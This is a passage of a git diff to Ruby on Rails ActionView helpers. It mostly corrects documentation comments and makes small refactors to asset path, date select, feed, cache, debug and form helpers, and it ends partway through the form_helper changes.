     # still sending assets for plain HTTP requests from asset hosts. If you don't
     # have SSL certificates for each of the asset hosts this technique allows you
     # to avoid warnings in the client about mixed media.
+    # Note that the request parameter might not be supplied, e.g. when the assets
+    # are precompiled via a Rake task. Make sure to use a Proc instead of a lambda,
+    # since a Proc allows missing parameters and sets them to nil.
     #
     #   config.action_controller.asset_host = Proc.new { |source, request|
-    #     if request.ssl?
+    #     if request && request.ssl?
     #       "#{request.protocol}#{request.host_with_port}"
     #     else
     #       "#{request.protocol}assets.example.com"
@@ -113,9 +116,9 @@ module ActionView
       #
       # All other asset *_path helpers delegate through this method.
       #
-      #   asset_path "application.js"                     # => /application.js
-      #   asset_path "application", type: :javascript     # => /javascripts/application.js
-      #   asset_path "application", type: :stylesheet     # => /stylesheets/application.css
+      #   asset_path "application.js"                     # => /assets/application.js
+      #   asset_path "application", type: :javascript     # => /assets/application.js
+      #   asset_path "application", type: :stylesheet     # => /assets/application.css
       #   asset_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
       def asset_path(source, options = {})
         source = source.to_s
@@ -134,20 +137,27 @@ module ActionView
 
         relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
         if relative_url_root
-          source = "#{relative_url_root}#{source}" unless source.starts_with?("#{relative_url_root}/")
+          source = File.join(relative_url_root, source) unless source.starts_with?("#{relative_url_root}/")
         end
 
         if host = compute_asset_host(source, options)
-          source = "#{host}#{source}"
+          source = File.join(host, source)
         end
 
         "#{source}#{tail}"
       end
-      alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with a asset_path named route
+      alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with an asset_path named route
 
-      # Computes the full URL to a asset in the public directory. This
+      # Computes the full URL to an asset in the public directory. This
       # will use +asset_path+ internally, so most of their behaviors
-      # will be the same.
+      # will be the same. If :host options is set, it overwrites global
+      # +config.action_controller.asset_host+ setting.
+      #
+      # All other options provided are forwarded to +asset_path+ call.
+      #
+      #   asset_url "application.js"                                 # => http://example.com/assets/application.js
+      #   asset_url "application.js", host: "http://cdn.example.com" # => http://cdn.example.com/assets/application.js
+      #
       def asset_url(source, options = {})
         path_to_asset(source, options.merge(:protocol => :request))
       end
@@ -191,8 +201,8 @@ module ActionView
       # (proc or otherwise).
       def compute_asset_host(source = "", options = {})
         request = self.request if respond_to?(:request)
-        host = config.asset_host if defined? config.asset_host
-        host ||= request.base_url if request && options[:protocol] == :request
+        host = options[:host]
+        host ||= config.asset_host if defined? config.asset_host
 
         if host.respond_to?(:call)
           arity = host.respond_to?(:arity) ? host.arity : host.method(:call).arity
@@ -203,6 +213,7 @@ module ActionView
           host = host % (Zlib.crc32(source) % 4)
         end
 
+        host ||= request.base_url if request && options[:protocol] == :request
         return unless host
 
         if host =~ URI_REGEXP
@@ -220,13 +231,13 @@ module ActionView
         end
       end
 
-      # Computes the path to a javascript asset in the public javascripts directory.
+      # Computes the path to a JavaScript asset in the public javascripts directory.
       # If the +source+ filename has no extension, .js will be appended (except for explicit URIs)
       # Full paths from the document root will be passed through.
-      # Used internally by javascript_include_tag to build the script path.
+      # Used internally by +javascript_include_tag+ to build the script path.
       #
-      #   javascript_path "xmlhr"                              # => /javascripts/xmlhr.js
-      #   javascript_path "dir/xmlhr.js"                       # => /javascripts/dir/xmlhr.js
+      #   javascript_path "xmlhr"                              # => /assets/xmlhr.js
+      #   javascript_path "dir/xmlhr.js"                       # => /assets/dir/xmlhr.js
       #   javascript_path "/dir/xmlhr"                         # => /dir/xmlhr.js
       #   javascript_path "http://www.example.com/js/xmlhr"    # => http://www.example.com/js/xmlhr
       #   javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
@@ -235,7 +246,7 @@ module ActionView
       end
       alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
 
-      # Computes the full URL to a javascript asset in the public javascripts directory.
+      # Computes the full URL to a JavaScript asset in the public javascripts directory.
       # This will use +javascript_path+ internally, so most of their behaviors will be the same.
       def javascript_url(source, options = {})
         url_to_asset(source, {type: :javascript}.merge!(options))
@@ -243,12 +254,12 @@ module ActionView
       alias_method :url_to_javascript, :javascript_url # aliased to avoid conflicts with a javascript_url named route
 
       # Computes the path to a stylesheet asset in the public stylesheets directory.
-      # If the +source+ filename has no extension, <tt>.css</tt> will be appended (except for explicit URIs).
+      # If the +source+ filename has no extension, .css will be appended (except for explicit URIs).
       # Full paths from the document root will be passed through.
       # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
       #
-      #   stylesheet_path "style"                                  # => /stylesheets/style.css
-      #   stylesheet_path "dir/style.css"                          # => /stylesheets/dir/style.css
+      #   stylesheet_path "style"                                  # => /assets/style.css
+      #   stylesheet_path "dir/style.css"                          # => /assets/dir/style.css
       #   stylesheet_path "/dir/style.css"                         # => /dir/style.css
       #   stylesheet_path "http://www.example.com/css/style"       # => http://www.example.com/css/style
       #   stylesheet_path "http://www.example.com/css/style.css"   # => http://www.example.com/css/style.css
@@ -334,9 +345,9 @@ module ActionView
       # Computes the path to a font asset.
       # Full paths from the document root will be passed through.
       #
-      #   font_path("font")                                           # => /assets/font
-      #   font_path("font.ttf")                                       # => /assets/font.ttf
-      #   font_path("dir/font.ttf")                                   # => /assets/dir/font.ttf
+      #   font_path("font")                                           # => /fonts/font
+      #   font_path("font.ttf")                                       # => /fonts/font.ttf
+      #   font_path("dir/font.ttf")                                   # => /fonts/dir/font.ttf
       #   font_path("/dir/font.ttf")                                  # => /dir/font.ttf
       #   font_path("http://www.example.com/dir/font.ttf")            # => http://www.example.com/dir/font.ttf
       def font_path(source, options = {})
diff --git a/actionview/lib/action_view/helpers/atom_feed_helper.rb b/actionview/lib/action_view/helpers/atom_feed_helper.rb
index 42b1dd8933..d8be4e5678 100644
--- a/actionview/lib/action_view/helpers/atom_feed_helper.rb
+++ b/actionview/lib/action_view/helpers/atom_feed_helper.rb
@@ -10,7 +10,7 @@ module ActionView
       # Full usage example:
       #
       #   config/routes.rb:
-      #     Basecamp::Application.routes.draw do
+      #     Rails.application.routes.draw do
       #       resources :posts
       #       root to: "posts#index"
       #     end
@@ -64,7 +64,7 @@ module ActionView
       #         'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
       #       feed.title("My great blog!")
       #       feed.updated((@posts.first.created_at))
-      #       feed.tag!(openSearch:totalResults, 10)
+      #       feed.tag!('openSearch:totalResults', 10)
       #
       #       @posts.each do |post|
       #         feed.entry(post) do |entry|
@@ -174,7 +174,7 @@ module ActionView
         #
         # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
         # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
-        # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
+        # * <tt>:url</tt>: The URL for this entry or false or nil for not having a link tag. Defaults to the polymorphic_url for the record.
         # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
         # * <tt>:type</tt>: The TYPE for this entry. Defaults to "text/html".
         def entry(record, options = {})
@@ -191,7 +191,8 @@ module ActionView
 
             type = options.fetch(:type, 'text/html')
 
-            @xml.link(:rel => 'alternate', :type => type, :href => options[:url] || @view.polymorphic_url(record))
+            url = options.fetch(:url) { @view.polymorphic_url(record) }
+            @xml.link(:rel => 'alternate', :type => type, :href => url) if url
 
             yield AtomBuilder.new(@xml)
           end
diff --git a/actionview/lib/action_view/helpers/cache_helper.rb b/actionview/lib/action_view/helpers/cache_helper.rb
index 2a38e5c446..4db8930a26 100644
--- a/actionview/lib/action_view/helpers/cache_helper.rb
+++ b/actionview/lib/action_view/helpers/cache_helper.rb
@@ -4,14 +4,14 @@ module ActionView
     module CacheHelper
       # This helper exposes a method for caching fragments of a view
       # rather than an entire action or page. This technique is useful
-      # caching pieces like menus, lists of newstopics, static HTML
+      # caching pieces like menus, lists of new topics, static HTML
       # fragments, and so on. This method takes a block that contains
       # the content you wish to cache.
       #
       # The best way to use this is by doing key-based cache expiration
       # on top of a cache store like Memcached that'll automatically
       # kick out old entries. For more on key-based expiration, see:
-      # http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
+      # http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works
       #
       # When using this method, you list the cache dependency as the name of the cache, like so:
       #
@@ -165,10 +165,10 @@ module ActionView
 
       def fragment_name_with_digest(name) #:nodoc:
         if @virtual_path
-          [
-            *Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name),
-            Digestor.digest(@virtual_path, formats.last.to_sym, lookup_context, dependencies: view_cache_dependencies)
-          ]
+          names  = Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name)
+          digest = Digestor.digest name: @virtual_path, finder: lookup_context, dependencies: view_cache_dependencies
+
+          [ *names, digest ]
         else
           name
         end
diff --git a/actionview/lib/action_view/helpers/capture_helper.rb b/actionview/lib/action_view/helpers/capture_helper.rb
index 5afe435459..5a3223968f 100644
--- a/actionview/lib/action_view/helpers/capture_helper.rb
+++ b/actionview/lib/action_view/helpers/capture_helper.rb
@@ -31,7 +31,8 @@ module ActionView
       #   <head><title><%= @greeting %></title></head>
       #   <body>
       #   <b><%= @greeting %></b>
-      #   </body></html>
+      #   </body>
+      #   </html>
       #
       def capture(*args)
         value = nil
@@ -202,15 +203,6 @@ module ActionView
       ensure
         self.output_buffer = old_buffer
       end
-
-      # Add the output buffer to the response body and start a new one.
-      def flush_output_buffer #:nodoc:
-        if output_buffer && !output_buffer.empty?
-          response.stream.write output_buffer
-          self.output_buffer = output_buffer.respond_to?(:clone_empty) ? output_buffer.clone_empty : output_buffer[0, 0]
-          nil
-        end
-      end
     end
   end
 end
diff --git a/actionview/lib/action_view/helpers/csrf_helper.rb b/actionview/lib/action_view/helpers/csrf_helper.rb
index eeb0ed94b9..5af92c4ff2 100644
--- a/actionview/lib/action_view/helpers/csrf_helper.rb
+++ b/actionview/lib/action_view/helpers/csrf_helper.rb
@@ -12,8 +12,11 @@ module ActionView
       # These are used to generate the dynamic forms that implement non-remote links with
       # <tt>:method</tt>.
       #
-      # Note that regular forms generate hidden fields, and that Ajax calls are whitelisted,
-      # so they do not use these tags.
+      # You don't need to use these tags for regular forms as they generate their own hidden fields.
+      #
+      # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the 
+      # "X-CSRF-Token" HTTP header. If you are using jQuery with jquery-rails this happens automatically.
+      #
       def csrf_meta_tags
         if protect_against_forgery?
           [
diff --git a/actionview/lib/action_view/helpers/date_helper.rb b/actionview/lib/action_view/helpers/date_helper.rb
index 8e1aea50a9..46ce7cf0be 100644
--- a/actionview/lib/action_view/helpers/date_helper.rb
+++ b/actionview/lib/action_view/helpers/date_helper.rb
@@ -19,6 +19,10 @@ module ActionView
     #   the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
     #   of \date[month].
     module DateHelper
+      MINUTES_IN_YEAR = 525600
+      MINUTES_IN_QUARTER_YEAR = 131400
+      MINUTES_IN_THREE_QUARTERS_YEAR = 394200
+
       # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
       # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
       # Distances are reported based on the following table:
@@ -50,19 +54,19 @@ module ActionView
       #   distance_of_time_in_words(from_time, from_time + 50.minutes)                                # => about 1 hour
       #   distance_of_time_in_words(from_time, 50.minutes.from_now)                                   # => about 1 hour
       #   distance_of_time_in_words(from_time, from_time + 15.seconds)                                # => less than a minute
-      #   distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true)      # => less than 20 seconds
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true)         # => less than 20 seconds
       #   distance_of_time_in_words(from_time, 3.years.from_now)                                      # => about 3 years
       #   distance_of_time_in_words(from_time, from_time + 60.hours)                                  # => 3 days
-      #   distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true)      # => less than a minute
-      #   distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true)      # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true)         # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true)         # => less than a minute
       #   distance_of_time_in_words(from_time, 76.seconds.from_now)                                   # => 1 minute
       #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)                           # => about 1 year
       #   distance_of_time_in_words(from_time, from_time + 3.years + 6.months)                        # => over 3 years
       #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
       #
       #   to_time = Time.now + 6.years + 19.days
-      #   distance_of_time_in_words(from_time, to_time, include_seconds: true)                     # => about 6 years
-      #   distance_of_time_in_words(to_time, from_time, include_seconds: true)                     # => about 6 years
+      #   distance_of_time_in_words(from_time, to_time, include_seconds: true)                        # => about 6 years
+      #   distance_of_time_in_words(to_time, from_time, include_seconds: true)                        # => about 6 years
       #   distance_of_time_in_words(Time.now, Time.now)                                               # => less than a minute
       def distance_of_time_in_words(from_time, to_time = 0, options = {})
         options = {
@@ -115,16 +119,16 @@ module ActionView
                 # e.g. if there are 20 leap year days between 2 dates having the same day
                 # and month then the based on 365 days calculation
                 # the distance in years will come out to over 80 years when in written
-                # english it would read better as about 80 years.
+                # English it would read better as about 80 years.
                 minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
               else
                 minutes_with_offset = distance_in_minutes
               end
-              remainder                   = (minutes_with_offset % 525600)
-              distance_in_years           = (minutes_with_offset.div 525600)
-              if remainder < 131400
+              remainder                   = (minutes_with_offset % MINUTES_IN_YEAR)
+              distance_in_years           = (minutes_with_offset.div MINUTES_IN_YEAR)
+              if remainder < MINUTES_IN_QUARTER_YEAR
                 locale.t(:about_x_years,  :count => distance_in_years)
-              elsif remainder < 394200
+              elsif remainder < MINUTES_IN_THREE_QUARTERS_YEAR
                 locale.t(:over_x_years,   :count => distance_in_years)
               else
                 locale.t(:almost_x_years, :count => distance_in_years + 1)
@@ -149,8 +153,8 @@ module ActionView
       #
       # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
       #
-      def time_ago_in_words(from_time, include_seconds_or_options = {})
-        distance_of_time_in_words(from_time, Time.now, include_seconds_or_options)
+      def time_ago_in_words(from_time, options = {})
+        distance_of_time_in_words(from_time, Time.now, options)
       end
 
       alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
@@ -169,9 +173,18 @@ module ActionView
       #   "2 - February" instead of "February").
       # * <tt>:use_month_names</tt>   - Set to an array with 12 month names if you want to customize month names.
       #   Note: You can also use Rails' i18n functionality for this.
+      # * <tt>:month_format_string</tt> - Set to a format string. The string gets passed keys +:number+ (integer)
+      #   and +:name+ (string). A format string would be something like "%{name} (%<number>02d)" for example.
+      #   See <tt>Kernel.sprintf</tt> for documentation on format sequences.
       # * <tt>:date_separator</tt>    - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
-      # * <tt>:start_year</tt>        - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
-      # * <tt>:end_year</tt>          - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
+      # * <tt>:time_separator</tt>    - Specifies a string to separate the time fields. Default is "" (i.e. nothing).
+      # * <tt>:datetime_separator</tt>- Specifies a string to separate the date and time fields. Default is "" (i.e. nothing).
+      # * <tt>:start_year</tt>        - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt> if
+      #   you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to
+      #   the current selected year minus 5.
+      # * <tt>:end_year</tt>          - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if
+      #   you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to
+      #   the current selected year plus 5.
       # * <tt>:discard_day</tt>       - Set to true if you don't want to show a day select. This includes the day
       #   as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
       #   first of the given month in order to not create invalid dates like 31 February.
@@ -319,7 +332,7 @@ module ActionView
         Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
       end
 
-      # Returns a set of html select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
+      # Returns a set of HTML select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
       # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
       # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
       # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
@@ -368,7 +381,7 @@ module ActionView
         DateTimeSelector.new(datetime, options, html_options).select_datetime
       end
 
-      # Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+.
+      # Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the +date+.
       # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
       # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order.
       # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden.
@@ -407,7 +420,7 @@ module ActionView
         DateTimeSelector.new(date, options, html_options).select_date
       end
 
-      # Returns a set of html select-tags (one for hour and minute).
+      # Returns a set of HTML select-tags (one for hour and minute).
       # You can set <tt>:time_separator</tt> key to format the output, and
       # the <tt>:include_seconds</tt> option to include an input for seconds.
       #
@@ -531,7 +544,7 @@ module ActionView
       #   my_date = Time.now + 2.days
       #
       #   # Generates a select field for days that defaults to the day for the date in my_date.
-      #   select_day(my_time)
+      #   select_day(my_date)
       #
       #   # Generates a select field for days that defaults to the number given.
       #   select_day(5)
@@ -541,7 +554,7 @@ module ActionView
       #
       #   # Generates a select field for days that defaults to the day for the date in my_date
       #   # that is named 'due' rather than 'day'.
-      #   select_day(my_time, field_name: 'due')
+      #   select_day(my_date, field_name: 'due')
       #
       #   # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
       #   # generic prompt.
@@ -624,7 +637,7 @@ module ActionView
         DateTimeSelector.new(date, options, html_options).select_year
       end
 
-      # Returns an html time tag for the given date or time.
+      # Returns an HTML time tag for the given date or time.
       #
       #   time_tag Date.today  # =>
       #     <time datetime="2010-11-04">November 04, 2010</time>
@@ -846,24 +859,36 @@ module ActionView
           I18n.translate(key, :locale => @options[:locale])
         end
 
-        # Lookup month name for number.
-        #  month_name(1) => "January"
+        # Looks up month names by number (1-based):
+        #
+        #   month_name(1) # => "January"
+        #
+        # If the <tt>:use_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => 1
+        #
+        # If the <tt>:use_two_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => '01'
+        #
+        # If the <tt>:add_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => "1 - January"
         #
-        # If <tt>:use_month_numbers</tt> option is passed
-        #  month_name(1) => 1
+        # If the <tt>:month_format_string</tt> option is passed:
         #
-        # If <tt>:use_two_month_numbers</tt> option is passed
-        #  month_name(1) => '01'
+        #   month_name(1) # => "January (01)"
         #
-        # If <tt>:add_month_numbers</tt> option is passed
-        #  month_name(1) => "1 - January"
+        # depending on the format string.
         def month_name(number)
           if @options[:use_month_numbers]
             number
           elsif @options[:use_two_digit_numbers]
-            sprintf "%02d", number
+            '%02d' % number
           elsif @options[:add_month_numbers]
             "#{number} - #{month_names[number]}"
+          elsif format_string = @options[:month_format_string]
+            format_string % {number: number, name: month_names[number]}
           else
             month_names[number]
           end
@@ -875,7 +900,7 @@ module ActionView
 
         def translated_date_order
           date_order = I18n.translate(:'date.order', :locale => @options[:locale], :default => [])
-          date_order = date_order.map { |element| element.to_sym }
+          date_order = date_order.map(&:to_sym)
 
           forbidden_elements = date_order - [:year, :month, :day]
           if forbidden_elements.any?
@@ -891,7 +916,7 @@ module ActionView
           build_select(type, build_options(selected, options))
         end
 
-        # Build select option html from date value and options.
+        # Build select option HTML from date value and options.
         #  build_options(15, start: 1, end: 31)
         #  => "<option value="1">1</option>
         #      <option value="2">2</option>
@@ -931,7 +956,7 @@ module ActionView
           (select_options.join("\n") + "\n").html_safe
         end
 
-        # Builds select tag from date type and html select options.
+        # Builds select tag from date type and HTML select options.
         #  build_select(:month, "<option value="1">January</option>...")
         #  => "<select id="post_written_on_2i" name="post[written_on(2i)]">
         #        <option value="1">January</option>...
@@ -942,7 +967,7 @@ module ActionView
             :name => input_name_from_type(type)
           }.merge!(@html_options)
           select_options[:disabled] = 'disabled' if @options[:disabled]
-          select_options[:class] = type if @options[:with_css_classes]
+          select_options[:class] = [select_options[:class], type].compact.join(' ') if @options[:with_css_classes]
 
           select_html = "\n"
           select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
@@ -1012,7 +1037,7 @@ module ActionView
         def build_selects_from_types(order)
           select = ''
           first_visible = order.find { |type| !@options[:"discard_#{type}"] }
-          order.reverse.each do |type|
+          order.reverse_each do |type|
             separator = separator(type) unless type == first_visible # don't add before first visible field
             select.insert(0, separator.to_s + send("select_#{type}").to_s)
           end
@@ -1062,7 +1087,7 @@ module ActionView
       # Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
       #
       #   <%= form_for @person do |f| %>
-      #     <%= f.time_select :last_request_at %>
+      #     <%= f.datetime_select :last_request_at %>
       #     <%= f.submit %>
       #   <% end %>
       #
diff --git a/actionview/lib/action_view/helpers/debug_helper.rb b/actionview/lib/action_view/helpers/debug_helper.rb
index c29c1b1eea..ba47eee9ba 100644
--- a/actionview/lib/action_view/helpers/debug_helper.rb
+++ b/actionview/lib/action_view/helpers/debug_helper.rb
@@ -11,24 +11,20 @@ module ActionView
       # If the object cannot be converted to YAML using +to_yaml+, +inspect+ will be called instead.
       # Useful for inspecting an object at the time of rendering.
       #
-      #   @user = User.new({ username: 'testing', password: 'xyz', age: 42}) %>
+      #   @user = User.new({ username: 'testing', password: 'xyz', age: 42})
       #   debug(@user)
       #   # =>
       #   <pre class='debug_dump'>--- !ruby/object:User
       #   attributes:
-      #   &nbsp; updated_at:
-      #   &nbsp; username: testing
-      #
-      #   &nbsp; age: 42
-      #   &nbsp; password: xyz
-      #   &nbsp; created_at:
-      #   attributes_cache: {}
-      #
-      #   new_record: true
+      #     updated_at:
+      #     username: testing
+      #     age: 42
+      #     password: xyz
+      #     created_at:
       #   </pre>
       def debug(object)
         Marshal::dump(object)
-        object = ERB::Util.html_escape(object.to_yaml).gsub("  ", "&nbsp; ").html_safe
+        object = ERB::Util.html_escape(object.to_yaml)
         content_tag(:pre, object, :class => "debug_dump")
       rescue Exception  # errors from Marshal or YAML
         # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb
index 8a4830d887..8d78ba13d5 100644
--- a/actionview/lib/action_view/helpers/form_helper.rb
+++ b/actionview/lib/action_view/helpers/form_helper.rb
@@ -3,9 +3,8 @@ require 'action_view/helpers/date_helper'
 require 'action_view/helpers/tag_helper'
 require 'action_view/helpers/form_tag_helper'
 require 'action_view/helpers/active_model_helper'
-require 'action_view/helpers/tags'
 require 'action_view/model_naming'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/string/output_safety'
 require 'active_support/core_ext/string/inflections'
@@ -52,9 +51,7 @@ module ActionView
     # The HTML generated for this would be (modulus formatting):
     #
     #   <form action="/people" class="new_person" id="new_person" method="post">
-    #     <div style="margin:0;padding:0;display:inline">
-    #       <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
-    #     </div>
+    #     <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
     #     <label for="person_first_name">First name</label>:
     #     <input id="person_first_name" name="person[first_name]" type="text" /><br />
     #
@@ -82,10 +79,8 @@ module ActionView
     # the code above as is would yield instead:
     #
     #   <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
-    #     <div style="margin:0;padding:0;display:inline">
-    #       <input name="_method" type="hidden" value="patch" />
-    #       <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
-    #     </div>
+    #     <input name="_method" type="hidden" value="patch" />
+    #     <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
     #     <label for="person_first_name">First name</label>:
     #     <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
     #
@@ -143,7 +138,7 @@ module ActionView
       # will get expanded to
       #
       #   <%= text_field :person, :first_name %>
-      # which results in an html <tt><input></tt> tag whose +name+ attribute is
+      # which results in an HTML <tt><input></tt> tag whose +name+ attribute is
       # <tt>person[first_name]</tt>. This means that when the form is submitted,
       # the value entered by the user will be available in the controller as
       # <tt>params[:person][:first_name]</tt>.
@@ -169,6 +164,23 @@ module ActionView
       # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
       #   id attributes on form elements. The namespace attribute will be prefixed
       #   with underscore on the generated HTML id.
+      # * <tt>:method</tt> - The method to use when submitting the form, usually
+      #   either "get" or "post". If "patch", "put", "delete", or another verb
+      #   is used, a hidden input with name <tt>_method</tt> is added to
+      #   simulate the verb over post.
+      # * <tt>:authenticity_token</tt> - Authenticity token to use in the form.
+      #   Use only if you need to pass custom authenticity token string, or to
+      #   not add authenticity_token field at all (by passing <tt>false</tt>).
+      #   Remote forms may omit the embedded authenticity token by setting
+      #   <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+      #   This is helpful when you're fragment-caching the form. Remote forms
+      #   get the authenticity token from the <tt>meta</tt> tag, so embedding is
+      #   unnecessary unless you support browsers without JavaScript.
+      # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive
+      #   JavaScript drivers to control the submit behavior. By default this
+      #   behavior is an ajax submit.
+      # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name
+      #   utf8 is not output.
       # * <tt>:html</tt> - Optional HTML attributes for the form tag.
       #
       # Also note that +form_for+ doesn't create an exclusive scope. It's still
@@ -316,9 +328,7 @@ module ActionView
       # The HTML generated for this would be:
       #
       #   <form action='http://www.example.com' method='post' data-remote='true'>
-      #     <div style='margin:0;padding:0;display:inline'>
-      #       <input name='_method' type='hidden' value='patch' />
-      #     </div>
+      #     <input name='_method' type='hidden' value='patch' />
       #     ...
       #   </form>
       #
@@ -334,9 +344,7 @@ module ActionView
       # The HTML generated for this would be:
       #
       #   <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
-      #     <div style='margin:0;padding:0;display:inline'>
-      #       <input name='_method' type='hidden' value='patch' />
-      #     </div>
+      #     <input name='_method' type='hidden' value='patch' />
       #     ...
       #   </form>
       #
@@ -429,27 +437,34 @@ module ActionView
         html_options[:data]   = options.delete(:data)   if options.has_key?(:data)
         html_options[:remote] = options.delete(:remote) if options.has_key?(:remote)
         html_options[:method] = options.delete(:method) if options.has_key?(:method)
+        html_options[:enforce_utf8] = options.delete(:enforce_utf8) if options.has_key?(:enforce_utf8)
         html_options[:authenticity_token] = options.delete(:authenticity_token)
 
         builder = instantiate_builder(object_name, object, options)
         output  = capture(builder, &block)
         html_options[:multipart] ||= builder.multipart?
 
-        form_tag(options[:url] || {}, html_options) { output }
+        html_options = html_options_for_form(options[:url] || {}, html_options)
+        form_tag_with_body(html_options, output)
       end
 
       def apply_form_for_options!(record, object, options) #:nodoc:
         object = convert_to_model(object)
 
         as = options[:as]
+        namespace = options[:namespace]
         action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
         options[:html].reverse_merge!(
           class:  as ? "#{action}_#{as}" : dom_class(object, action),
-          id:     as ? "#{action}_#{as}" : [options[:namespace], dom_id(object, action)].compact.join("_").presence,
+          id:     (as ? [namespace, action, as] : [namespace, dom_id(object, action)]).compact.join("_").presence,
           method: method
         )
 
-        options[:url] ||= polymorphic_path(record, format: options.delete(:format))
+        options[:url] ||= if options.key?(:format)
+                            polymorphic_path(record, format: options.delete(:format))
+                          else
+                            polymorphic_path(record, {})
+                          end
       end
       private :apply_form_for_options!
 
@@ -457,7 +472,7 @@ module ActionView
       # doesn't create the form tags themselves. This makes fields_for suitable
       # for specifying additional model objects in the same form.
       #
-      # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+      # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
       # its method signature is slightly different. Like +form_for+, it yields
       # a FormBuilder object associated with a particular model object to a block,
       # and within the block allows methods to be called on the builder to
@@ -477,7 +492,7 @@ module ActionView
       #       Admin?  : <%= permission_fields.check_box :admin %>
       #     <% end %>
       #
-      #     <%= f.submit %>
+      #     <%= person_form.submit %>
       #   <% end %>
       #
       # In this case, the checkbox field will be represented by an HTML +input+
@@ -746,6 +761,7 @@ module ActionView
       #   label(:post, :terms) do
       #     'Accept <a href="/terms">Terms</a>.'.html_safe
       #   end
+      #   # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label>
       def label(object_name, method, content_or_options = nil, options = nil, &block)
         Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
       end
@@ -762,8 +778,8 @@ module ActionView
       #   text_field(:post, :title, class: "create_input")
       #   # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
       #
-      #   text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }")
-      #   # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }"/>
